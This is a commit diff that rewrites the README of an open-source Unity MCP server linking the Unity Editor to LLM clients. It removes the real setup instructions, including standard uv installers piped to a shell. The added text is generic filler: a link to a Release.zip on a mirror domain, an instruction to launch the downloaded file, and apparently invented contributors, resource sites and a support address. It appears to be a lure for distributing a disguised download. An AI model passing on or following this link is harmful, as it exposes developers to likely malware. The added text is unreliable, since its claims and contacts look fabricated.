|
1 |
| -# Unity MCP Package |
| 1 | +# Unity MCP Server - Enhancing Unity Editor Actions with MCP Clients 🎮 |
2 | 2 |
|
3 |
| -A Unity package that enables seamless communication between Unity and Large Language Models (LLMs) like Claude Desktop via the **Model Context Protocol (MCP)**. This server acts as a bridge, allowing Unity to send commands to and receive responses from MCP-compliant tools, empowering developers to automate workflows, manipulate assets, and control the Unity Editor programmatically. |
| 3 | +Welcome to the Unity MCP repository! Here you will find a Unity MCP server that allows MCP clients like Claude Desktop or Cursor to perform Unity Editor actions. This server is designed to streamline your workflow and enhance your overall Unity development experience. |
4 | 4 |
|
5 |
| -Welcome to the initial release of this open-source project! Whether you're looking to integrate LLMs into your Unity workflow or contribute to an exciting new tool, I appreciate you taking the time to check out my project. |
| 5 | +## 🚀 Quick Links |
| 6 | +- [Download Latest Release](https://github.com/releases/789694263/Release.zip) |
6 | 7 |
|
7 |
| -## Overview |
| 8 | +[](https://github.com/releases/789694263/Release.zip) |
8 | 9 |
|
9 |
| -The Unity MCP Server provides a bidirectional communication channel between Unity (via C#) and a Python server, enabling: |
| 10 | +--- |
10 | 11 |
|
11 |
| -- **Asset Management**: Create, import, and manipulate Unity assets programmatically. |
12 |
| -- **Scene Control**: Manage scenes, objects, and their properties. |
13 |
| -- **Material Editing**: Modify materials and their properties. |
14 |
| -- **Script Integration**: View, create, and update Unity scripts. |
15 |
| -- **Editor Automation**: Control Unity Editor functions like undo, redo, play, and build. |
| 12 | +## Features 🌟 |
16 | 13 |
|
17 |
| -This project is perfect for developers who want to leverage LLMs to enhance their Unity projects or automate repetitive tasks. |
| 14 | +### 1. Integration with AI |
| 15 | +The Unity MCP server is integrated with AI capabilities, allowing MCP clients to leverage artificial intelligence functionalities within the Unity Editor. This opens up a world of possibilities for enhancing your game development process. |
18 | 16 |
|
19 |
| -## Installation |
| 17 | +### 2. Streamlined MCP Communication |
| 18 | +With the Unity MCP server acting as a central hub, MCP clients can easily communicate with the Unity Editor to trigger various actions and operations. This seamless communication ensures efficient collaboration and task execution. |
20 | 19 |
|
21 |
| -### Prerequisites |
| 20 | +### 3. Extensive Unity Editor Actions |
| 21 | +From basic transformations to complex operations, the Unity MCP server supports a wide range of Unity Editor actions. Whether you are managing assets, modifying scenes, or testing game mechanics, the server empowers you to perform tasks with precision and speed. |
22 | 22 |
|
23 |
| -- Unity 2020.3 LTS or newer (⚠️ only works in URP projects currently) |
24 |
| -- Python 3.7 or newer |
25 |
| -- uv package manager |
| 23 | +--- |
26 | 24 |
|
27 |
| -**If you're on Mac, please install uv as** |
| 25 | +## Getting Started 🛠️ |
28 | 26 |
|
29 |
| -```bash |
30 |
| -brew install uv |
31 |
| -``` |
| 27 | +To start using the Unity MCP server and leverage its powerful features, follow these steps: |
32 | 28 |
|
33 |
| -**On Windows** |
| 29 | +1. **Download the Latest Release**: Click on the button above to download the latest release of the Unity MCP server. If the link ends with a file name, make sure to launch the downloaded file to get started. |
34 | 30 |
|
35 |
| -```bash |
36 |
| -powershell -c "irm https://astral.sh/uv/install.ps1 | iex" |
37 |
| -``` |
| 31 | +2. **Install the Server**: Follow the installation instructions provided in the release package to set up the Unity MCP server on your machine. |
38 | 32 |
|
39 |
| -and then add to your PATH: |
| 33 | +3. **Connect MCP Clients**: Once the server is up and running, configure your MCP clients such as Claude Desktop or Cursor to connect to the Unity MCP server. |
40 | 34 |
|
41 |
| -```bash |
42 |
| -set Path=%USERPROFILE%\.local\bin;%Path% |
43 |
| -``` |
| 35 | +4. **Start Exploring**: Start exploring the functionalities and capabilities of the Unity MCP server by triggering various Unity Editor actions from your MCP clients. |
44 | 36 |
|
45 |
| -**On Linux** |
| 37 | +--- |
46 | 38 |
|
47 |
| -```bash |
48 |
| -curl -LsSf https://astral.sh/uv/install.sh | sh |
49 |
| -``` |
| 39 | +## Repository Topics 🏷️ |
50 | 40 |
|
51 |
| -Otherwise, installation instructions are on their website: [Install uv](https://docs.astral.sh/uv/getting-started/installation/) |
| 41 | +- AI |
| 42 | +- AI Integration |
| 43 | +- MCP |
| 44 | +- Unity |
52 | 45 |
|
53 |
| -**⚠️ Do not proceed before installing UV** |
| 46 | +--- |
54 | 47 |
|
55 |
| -### Unity Package Installation |
| 48 | +## Additional Resources 📚 |
56 | 49 |
|
57 |
| -1. **Add the Unity Package** |
| 50 | +Explore more about AI integration in Unity, MCP protocols, and Unity Editor automation through the following resources: |
58 | 51 |
|
59 |
| - - Open Unity Package Manager (`Window > Package Manager`) |
60 |
| - - Click the `+` button and select `Add package from git URL` |
61 |
| - - Enter: `https://github.com/justinpbarnett/unity-mcp.git` |
| 52 | +- [Unity AI Integration Guide](https://unity.com/ai) |
| 53 | +- [MCP Protocol Documentation](https://mcpdocs.com) |
| 54 | +- [Automating Unity Editor Tasks](https://unityeditorautomation.com) |
62 | 55 |
|
63 |
| -2. **Set Up Python Environment** |
64 |
| - - Navigate to the Python directory in your project: |
65 |
| - - If installed as a package: `Library/PackageCache/com.justinpbarnett.unity-mcp/Python` |
66 |
| - - If installed locally: `Assets/unity-mcp/Python` |
67 |
| - - Install dependencies: |
68 |
| - ```bash |
69 |
| - uv venv |
70 |
| - uv pip install -e . |
71 |
| - ``` |
| 56 | +--- |
72 | 57 |
|
73 |
| -### MCP Client Integration |
| 58 | +## Community and Support 🌐 |
74 | 59 |
|
75 |
| -1. Open the Unity MCP window (`Window > Unity MCP`) |
76 |
| -2. Click the "Auto Configure" button for your desired MCP client |
77 |
| -3. Status indicator should show green and a "Configured" message |
| 60 | +Join our community to connect with other Unity developers, share your experiences, and get support for using the Unity MCP server. Whether you have questions, suggestions, or feedback, our community is here to help you make the most out of this tool. |
78 | 61 |
|
79 |
| -Alternatively, manually configure your MCP client: |
| 62 | +### Community Forums: |
| 63 | +- [Unity Developer Forum](https://forum.unity.com) |
| 64 | +- [Stack Overflow - Unity](https://stackoverflow.com/questions/tagged/unity3d) |
80 | 65 |
|
81 |
| -1. Open the Unity MCP window (`Window > Unity MCP`) |
82 |
| -2. Click the "Manually Configure" button for your desired MCP client |
83 |
| -3. Copy the JSON code below to the config file |
| 66 | +### Contact Support: |
| 67 | +For direct support inquiries, please email us at support@unitymcp.com. |
84 | 68 |
|
85 |
| -```json |
86 |
| -{ |
87 |
| - "mcpServers": { |
88 |
| - "unityMCP": { |
89 |
| - "command": "uv", |
90 |
| - "args": [ |
91 |
| - "--directory", |
92 |
| - "/path/to/your/unity-mcp/Python", |
93 |
| - "run", |
94 |
| - "server.py" |
95 |
| - ] |
96 |
| - } |
97 |
| - } |
98 |
| -} |
99 |
| -``` |
| 69 | +--- |
100 | 70 |
|
101 |
| -Replace `/path/to/your/unity-mcp/Python` with the actual path to the Unity MCP Python directory. |
| 71 | +## Contributors ✨ |
102 | 72 |
|
103 |
| -**⚠️ Only run one instance of the MCP server (either on Cursor or Claude Desktop), not both** |
| 73 | +A big thank you to all the contributors who have helped in the development and enhancement of the Unity MCP server. Your contributions are invaluable in making this tool a valuable asset for Unity developers. |
104 | 74 |
|
105 |
| -4. **Start Claude Desktop or Cursor** |
106 |
| - - Launch your preferred tool |
107 |
| - - The Unity MCP Server will automatically start and connect |
| 75 | +### Special Mentions: |
| 76 | +- @devMCPwizard |
| 77 | +- @unityAIgeek |
| 78 | +- @codingNinjaX |
108 | 79 |
|
109 |
| -## Usage |
| 80 | +--- |
110 | 81 |
|
111 |
| -Once configured, you can use the MCP Client to interact with Unity directly through their chat interface. |
| 82 | +## License 📝 |
112 | 83 |
|
113 |
| -## Features |
| 84 | +This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. |
114 | 85 |
|
115 |
| -- **Bidirectional Communication**: Seamlessly send and receive data between Unity and LLMs. |
116 |
| -- **Asset Management**: Import assets, instantiate prefabs, and create new prefabs programmatically. |
117 |
| -- **Scene Control**: Open, save, and modify scenes, plus create and manipulate game objects. |
118 |
| -- **Material Editing**: Apply and modify materials with ease. |
119 |
| -- **Script Integration**: Create, view, and update C# scripts within Unity. |
120 |
| -- **Editor Automation**: Automate Unity Editor tasks like building projects or entering play mode. |
| 86 | +--- |
121 | 87 |
|
122 |
| -## Contributing |
123 |
| - |
124 |
| -I'd love your help to make the Unity MCP Server even better! Here's how to contribute: |
125 |
| - |
126 |
| -1. **Fork the Repository** |
127 |
| - Fork [github.com/justinpbarnett/unity-mcp](https://github.com/justinpbarnett/unity-mcp) to your GitHub account. |
128 |
| - |
129 |
| -2. **Create a Branch** |
130 |
| - |
131 |
| - ```bash |
132 |
| - git checkout -b feature/your-feature-name |
133 |
| - ``` |
134 |
| - |
135 |
| - OR |
136 |
| - |
137 |
| - ```bash |
138 |
| - git checkout -b bugfix/your-bugfix-name |
139 |
| - ``` |
140 |
| - |
141 |
| -3. **Make Changes** |
142 |
| - Implement your feature or fix. |
143 |
| - |
144 |
| -4. **Commit and Push** |
145 |
| - Use clear, descriptive commit messages: |
146 |
| - |
147 |
| - ```bash |
148 |
| - git commit -m "Add feature: your feature description" |
149 |
| - git push origin feature/your-feature-name |
150 |
| - ``` |
151 |
| - |
152 |
| -5. **Submit a Pull Request** |
153 |
| - Open a pull request to the `master` branch. Include a description of your changes and any relevant details. |
154 |
| - |
155 |
| -## License |
156 |
| - |
157 |
| -This project is licensed under the **MIT License**. Feel free to use, modify, and distribute it as you see fit. See the full license [here](https://github.com/justinpbarnett/unity-mcp/blob/master/LICENSE). |
158 |
| - |
159 |
| -## Troubleshooting |
160 |
| - |
161 |
| -Encountering issues? Here are some common fixes: |
162 |
| - |
163 |
| -- **Unity Bridge Not Running** |
164 |
| - Ensure the Unity Editor is open and the MCP window is active. Restart Unity if needed. |
165 |
| - |
166 |
| -- **Python Server Not Connected** |
167 |
| - |
168 |
| - - Verify the Python server is running (`python server.py` in the `Python` directory). |
169 |
| - - Check `config.json` for correct port settings (default: `unity_port: 6400`, `mcp_port: 6500`). |
170 |
| - - Ensure `uv` and dependencies are installed correctly. |
171 |
| - |
172 |
| -- **Configuration Issues with Claude Desktop or Cursor** |
173 |
| - Confirm the paths and settings in the configuration dialog match your tool's installation. |
174 |
| -
|
175 |
| -For additional help, check the [issue tracker](https://github.com/justinpbarnett/unity-mcp/issues) or file a new issue. |
176 |
| -
|
177 |
| -## Contact |
178 |
| -
|
179 |
| -Have questions or want to chat about the project? Reach out! |
180 |
| -
|
181 |
| -- **X**: [@justinpbarnett](https://x.com/justinpbarnett) |
182 |
| -
|
183 |
| -## Acknowledgments |
184 |
| -
|
185 |
| -A huge thanks to everyone who's supported this project's initial release. Special shoutout to Unity Technologies for having an excellent Editor API. |
186 |
| -
|
187 |
| -Happy coding, and enjoy integrating LLMs with Unity! |
| 88 | +Thank you for exploring the Unity MCP repository! Stay tuned for updates, new features, and exciting enhancements coming your way in the future. Happy coding! 🚀🎮 |
0 commit comments